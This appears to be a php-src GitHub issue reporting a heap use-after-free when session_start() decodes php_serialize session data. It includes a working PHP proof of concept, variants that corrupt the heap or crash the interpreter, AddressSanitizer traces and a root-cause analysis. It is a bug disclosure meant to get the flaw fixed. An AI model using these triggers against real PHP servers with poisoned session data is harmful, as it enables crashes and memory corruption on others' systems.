Repository navigation
Description
Description
With session.serialize_handler=php_serialize, ps_srlzr_decode_php_serialize() decodes the session data first and then replaces $_SESSION with the decoded array. A __unserialize() callback runs during the decode step and can add values to the old $_SESSION array. When that array is destroyed afterwards, the $_SESSION bucket still points to it, so a destructor of such a value can read elements that the destruction loop has already freed.
The replacement window is the same as in #25700 (zend_hash_update() / zend_hash_update_ind() destroy the old value before storing the new one), and the function is the third entry point listed in #25705. It is a different window, though: the change proposed in #25705 does not fix this one.
The following code:
<?php
class Reentry {
public function __destruct() {
// Only act while the session is being started; the status check is not needed for the bug itself.
if (session_status() !== PHP_SESSION_ACTIVE) return;
$copy = $_SESSION; // $_SESSION still resolves to the array that is being destroyed
foreach ($copy as $k => $v) {
// 'pad' has already been released by the destruction loop, so copying it reads freed memory
}
unset($copy);
}
}
class Boom {
public function __unserialize($data) {
// At this point $_SESSION is the empty array that php_session_track_init() has just installed
$_SESSION['pad'] = str_repeat('Z', 128); // released first by the destruction loop
$_SESSION['re'] = new Reentry(); // an independent object, its destructor runs afterwards
}
}
$dir = sys_get_temp_dir() . '/poc104';
@mkdir($dir);
ini_set('session.save_path', $dir);
ini_set('session.serialize_handler', 'php_serialize');
// Prepared session file; php_serialize stores the serialize() output of the whole $_SESSION array
file_put_contents("$dir/sess_poc104", serialize([new Boom()]));
session_id('poc104');
session_start(); // trigger
echo "SURVIVED - no crash\n";($_SESSION is registered as an auto-global (ext/session/session.c:3002), so $_SESSION inside the methods refers to the global array.)
Resulted in this output:
$ USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /path/to/build-asan/sapi/cli/php -n poc.php
=================================================================
==1875507==ERROR: AddressSanitizer: heap-use-after-free on address 0x50e0000ac480 at pc 0x64c07d0c931b bp 0x7ffc517cd180 sp 0x7ffc517cd170
READ of size 4 at 0x50e0000ac480 thread T0
#0 0x64c07d0c931a in zend_gc_addref Zend/zend_types.h:1377
#1 0x64c07d0c931a in zval_addref_p Zend/zend_types.h:1426
#2 0x64c07d0c931a in zend_copy_to_variable Zend/zend_execute.h:154
#3 0x64c07d0c931a in zend_assign_to_variable Zend/zend_execute.h:188
#4 0x64c07d0c931a in ZEND_FE_FETCH_R_SPEC_VAR_HANDLER Zend/zend_vm_execute.h:23696
#5 0x64c07d0c931a in execute_ex Zend/zend_vm_execute.h:119367
#6 0x64c07cf197d3 in zend_call_function Zend/zend_execute_API.c:1039
#7 0x64c07cf1ae7d in zend_call_known_function Zend/zend_execute_API.c:1136
#8 0x64c07d1adb1e in zend_call_known_instance_method Zend/zend_API.h:904
#9 0x64c07d1adb1e in zend_call_known_instance_method_with_0_params Zend/zend_API.h:910
#10 0x64c07d1adb1e in zend_objects_destroy_object Zend/zend_objects.c:172
#11 0x64c07d1ac9da in zend_objects_store_del Zend/zend_objects_API.c:181
#12 0x64c07d1ee80e in rc_dtor_func Zend/zend_variables.c:57
#13 0x64c07d112d19 in i_zval_ptr_dtor Zend/zend_variables.h:45
#14 0x64c07d112d19 in zend_array_destroy Zend/zend_hash.c:2061
#15 0x64c07d1ee80e in rc_dtor_func Zend/zend_variables.c:57
#16 0x64c07d1ee980 in i_zval_ptr_dtor Zend/zend_variables.h:45
#17 0x64c07d1ee980 in zend_reference_destroy Zend/zend_variables.c:74
#18 0x64c07d1ee80e in rc_dtor_func Zend/zend_variables.c:57
#19 0x64c07d1eead6 in i_zval_ptr_dtor Zend/zend_variables.h:45
#20 0x64c07d1eead6 in zval_ptr_dtor Zend/zend_variables.c:84
#21 0x64c07d1049fd in _zend_hash_add_or_update_i Zend/zend_hash.c:1033
#22 0x64c07d1049fd in zend_hash_update_ind Zend/zend_hash.c:1176
#23 0x64c07c9ed16e in ps_srlzr_decode_php_serialize ext/session/session.c:1018
#24 0x64c07c9fa7b9 in php_session_decode ext/session/session.c:294
#25 0x64c07ca02885 in php_session_initialize ext/session/session.c:518
#26 0x64c07ca03e54 in php_session_start ext/session/session.c:1765
#27 0x64c07ca0570e in zif_session_start ext/session/session.c:2730
#28 0x64c07d0ab605 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER Zend/zend_vm_execute.h:1360
#29 0x64c07d0ab605 in execute_ex Zend/zend_vm_execute.h:116550
#30 0x64c07d0a4148 in zend_execute Zend/zend_vm_execute.h:122038
#31 0x64c07d205ad4 in zend_execute_script Zend/zend.c:1990
#32 0x64c07cccd784 in php_execute_script_ex main/main.c:2688
#33 0x64c07cccdc42 in php_execute_script main/main.c:2728
#34 0x64c07d209723 in do_cli sapi/cli/php_cli.c:960
#35 0x64c07d20bff3 in main sapi/cli/php_cli.c:1383
0x50e0000ac480 is located 0 bytes inside of 160-byte region [0x50e0000ac480,0x50e0000ac520)
freed by thread T0 here:
#1 0x64c07ce23c16 in __zend_free Zend/zend_alloc.c:3976
#2 0x64c07ce325db in _efree Zend/zend_alloc.c:2928
#3 0x64c07d1ee80e in rc_dtor_func Zend/zend_variables.c:57
#4 0x64c07d112d19 in i_zval_ptr_dtor Zend/zend_variables.h:45
#5 0x64c07d112d19 in zend_array_destroy Zend/zend_hash.c:2061
#6 0x64c07d1ee80e in rc_dtor_func Zend/zend_variables.c:57
#7 0x64c07d1ee980 in i_zval_ptr_dtor Zend/zend_variables.h:45
#8 0x64c07d1ee980 in zend_reference_destroy Zend/zend_variables.c:74
#9 0x64c07d1ee80e in rc_dtor_func Zend/zend_variables.c:57
#10 0x64c07d1eead6 in i_zval_ptr_dtor Zend/zend_variables.h:45
#11 0x64c07d1eead6 in zval_ptr_dtor Zend/zend_variables.c:84
#12 0x64c07d1049fd in _zend_hash_add_or_update_i Zend/zend_hash.c:1033
#13 0x64c07d1049fd in zend_hash_update_ind Zend/zend_hash.c:1176
#14 0x64c07c9ed16e in ps_srlzr_decode_php_serialize ext/session/session.c:1018
#15 0x64c07c9fa7b9 in php_session_decode ext/session/session.c:294
#16 0x64c07ca02885 in php_session_initialize ext/session/session.c:518
#17 0x64c07ca03e54 in php_session_start ext/session/session.c:1765
#18 0x64c07ca0570e in zif_session_start ext/session/session.c:2730
#19 0x64c07d0ab605 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER Zend/zend_vm_execute.h:1360
#20 0x64c07d0ab605 in execute_ex Zend/zend_vm_execute.h:116550
#21 0x64c07d0a4148 in zend_execute Zend/zend_vm_execute.h:122038
#22 0x64c07d205ad4 in zend_execute_script Zend/zend.c:1990
#23 0x64c07cccd784 in php_execute_script_ex main/main.c:2688
#24 0x64c07cccdc42 in php_execute_script main/main.c:2728
#25 0x64c07d209723 in do_cli sapi/cli/php_cli.c:960
#26 0x64c07d20bff3 in main sapi/cli/php_cli.c:1383
previously allocated by thread T0 here:
#1 0x64c07ce24dff in __zend_malloc Zend/zend_alloc.c:3947
#2 0x64c07ce32343 in _emalloc Zend/zend_alloc.c:2918
#3 0x64c07ce34551 in _safe_emalloc Zend/zend_alloc.c:2976
#4 0x64c07ce34e61 in _safe_femalloc Zend/zend_alloc.c:3098
#5 0x64c07cbea447 in zend_string_safe_falloc Zend/zend_string.h:189
#6 0x64c07cbea447 in zif_str_repeat ext/standard/string.c:5651
#7 0x64c07d0abce4 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER Zend/zend_vm_execute.h:1426
#8 0x64c07d0abce4 in execute_ex Zend/zend_vm_execute.h:116555
#9 0x64c07cf197d3 in zend_call_function Zend/zend_execute_API.c:1039
#10 0x64c07cf1ae7d in zend_call_known_function Zend/zend_execute_API.c:1136
#11 0x64c07cc1bd08 in zend_call_known_instance_method Zend/zend_API.h:904
#12 0x64c07cc1bd08 in zend_call_known_instance_method_with_1_params Zend/zend_API.h:916
#13 0x64c07cc1bd08 in var_destroy ext/standard/var_unserializer.c:306
#14 0x64c07cc1c39a in php_var_unserialize_destroy ext/standard/var_unserializer.c:94
#15 0x64c07c9ed006 in ps_srlzr_decode_php_serialize ext/session/session.c:1004
#16 0x64c07c9fa7b9 in php_session_decode ext/session/session.c:294
#17 0x64c07ca02885 in php_session_initialize ext/session/session.c:518
#18 0x64c07ca03e54 in php_session_start ext/session/session.c:1765
#19 0x64c07ca0570e in zif_session_start ext/session/session.c:2730
#20 0x64c07d0ab605 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER Zend/zend_vm_execute.h:1360
#21 0x64c07d0ab605 in execute_ex Zend/zend_vm_execute.h:116550
#22 0x64c07d0a4148 in zend_execute Zend/zend_vm_execute.h:122038
#23 0x64c07d205ad4 in zend_execute_script Zend/zend.c:1990
#24 0x64c07cccd784 in php_execute_script_ex main/main.c:2688
#25 0x64c07cccdc42 in php_execute_script main/main.c:2728
#26 0x64c07d209723 in do_cli sapi/cli/php_cli.c:960
#27 0x64c07d20bff3 in main sapi/cli/php_cli.c:1383
SUMMARY: AddressSanitizer: heap-use-after-free Zend/zend_types.h:1377 in zend_gc_addref
==1875507==ABORTING
(Sanitizer-internal and libc frames and the shadow-byte dump removed, source paths shortened to paths relative to php-src, frame numbers unchanged. Reproduced in 30 of 30 runs.)
On a plain build the same code prints the line below and exits with code 0, in both configurations (30 of 30 runs each). The read still happens; the increment on the freed string is undone when $v is reassigned, so nothing fails right away:
SURVIVED - no crash
But I expected this output instead:
SURVIVED - no crash
without the use-after-free.
Root cause
session_start() → php_session_initialize() (ext/session/session.c:518) → php_session_decode() (ext/session/session.c:294) → ps_srlzr_decode_php_serialize() (ext/session/session.c:992):
result = php_var_unserialize(&session_vars, ..., &var_hash); /* :1002 */
PHP_VAR_UNSERIALIZE_DESTROY(var_hash); /* :1004 __unserialize() runs here */
...
if (!Z_ISUNDEF(PS(http_session_vars))) {
zval_ptr_dtor(&PS(http_session_vars)); /* :1011 drops the reference of PS() */
}
...
ZVAL_NEW_REF(&PS(http_session_vars), &session_vars); /* :1016 */
Z_ADDREF_P(&PS(http_session_vars));
zend_hash_update_ind(&EG(symbol_table), var_name, &PS(http_session_vars)); /* :1018 */- While
__unserialize()runs,$_SESSIONis the empty array thatphp_session_track_init()has just installed (ext/session/session.c:264-267). Whatever the callback stores in$_SESSIONgoes into that array. ext/session/session.c:1011only drops the reference held byPS(http_session_vars); the array stays alive through the$_SESSIONglobal.ext/session/session.c:1018then replaces the global._zend_hash_add_or_update_i()destroys the old value first (Zend/zend_hash.c:1033) and stores the new one afterwards (Zend/zend_hash.c:1035), so the$_SESSIONbucket still refers to the old array while it is destroyed.zend_array_destroy()(Zend/zend_hash.c:2061) releasespad, then thereobject, whose destructor runs.$copy = $_SESSIONtakes a reference on the dying array (refcount 0 → 1), and theforeachcopies the already freedpadvalue (zend_copy_to_variable(),Zend/zend_execute.h:154).
Checked with watchpoints on the plain build: the _SESSION bucket keeps the old reference until the destructor has returned.
Variants
session_decode(serialize([new Boom()]))on an active session gives the same report throughzif_session_decode(). No prepared session file is needed for that (20 of 20 runs).- With the object stored before the string, there is no error: the destructor runs before the string is freed. Storing
$thisinstead of a separate object also gives no error during the decode. - The array that is being destroyed can be kept and used afterwards. With this destructor:
public function __destruct() {
$GLOBALS['keep'] = $_SESSION;
}and this code after session_start():
echo count($GLOBALS['keep']), "\n";
foreach ($GLOBALS['keep'] as $k => $v) {
echo "key=$k\n";
}AddressSanitizer reports the use-after-free on the freed array header at the count() line. The plain build crashes in both configurations (30 of 30 runs each), because the header has been reused by then:
1751343459
Segmentation fault (exit code 139)
- If the destructor allocates a string of the same size class inside the loop, the freed block is handed out again while
$vstill points to it. The plain build with the default allocator aborts withzend_mm_heap corrupted(30 of 30 runs): the refcount increment landed on the allocator's free-list link. With libc malloc the script goes on and$vcontains the new string. - Writing into the array instead of reading it does not produce a sanitizer error, but the added values are never released. LeakSanitizer reports 10656 bytes in 13 allocations for a destructor that stores nine strings in the array.
- It needs control over session data (a prepared or poisoned session file, a custom save handler, or data passed to
session_decode()) and a class whose__unserialize()writes to$_SESSION.
ps_srlzr_decode_php_serialize() has the same logic in php-src master (ext/session/session.c:1106-1114), PHP-8.6 (:1083-1091), PHP-8.5, php-8.5.13, PHP-8.4 (:1048-1056) and PHP-8.3 (:941-949), and _zend_hash_add_or_update_i() keeps the destroy-first order on all of them. Only 8.5.12 was executed.
PHP Version
PHP 8.5.12
Operating System
Ubuntu 24.04.5 LTS, Linux 7.0.0-38-generic x86_64
Activity
lazerg commentedon Nov 24, 2026
This looks like the same class as GH-20001 (a destructor running while the old $_SESSION array is being replaced), so a local fix here probably won't be accepted until that lands.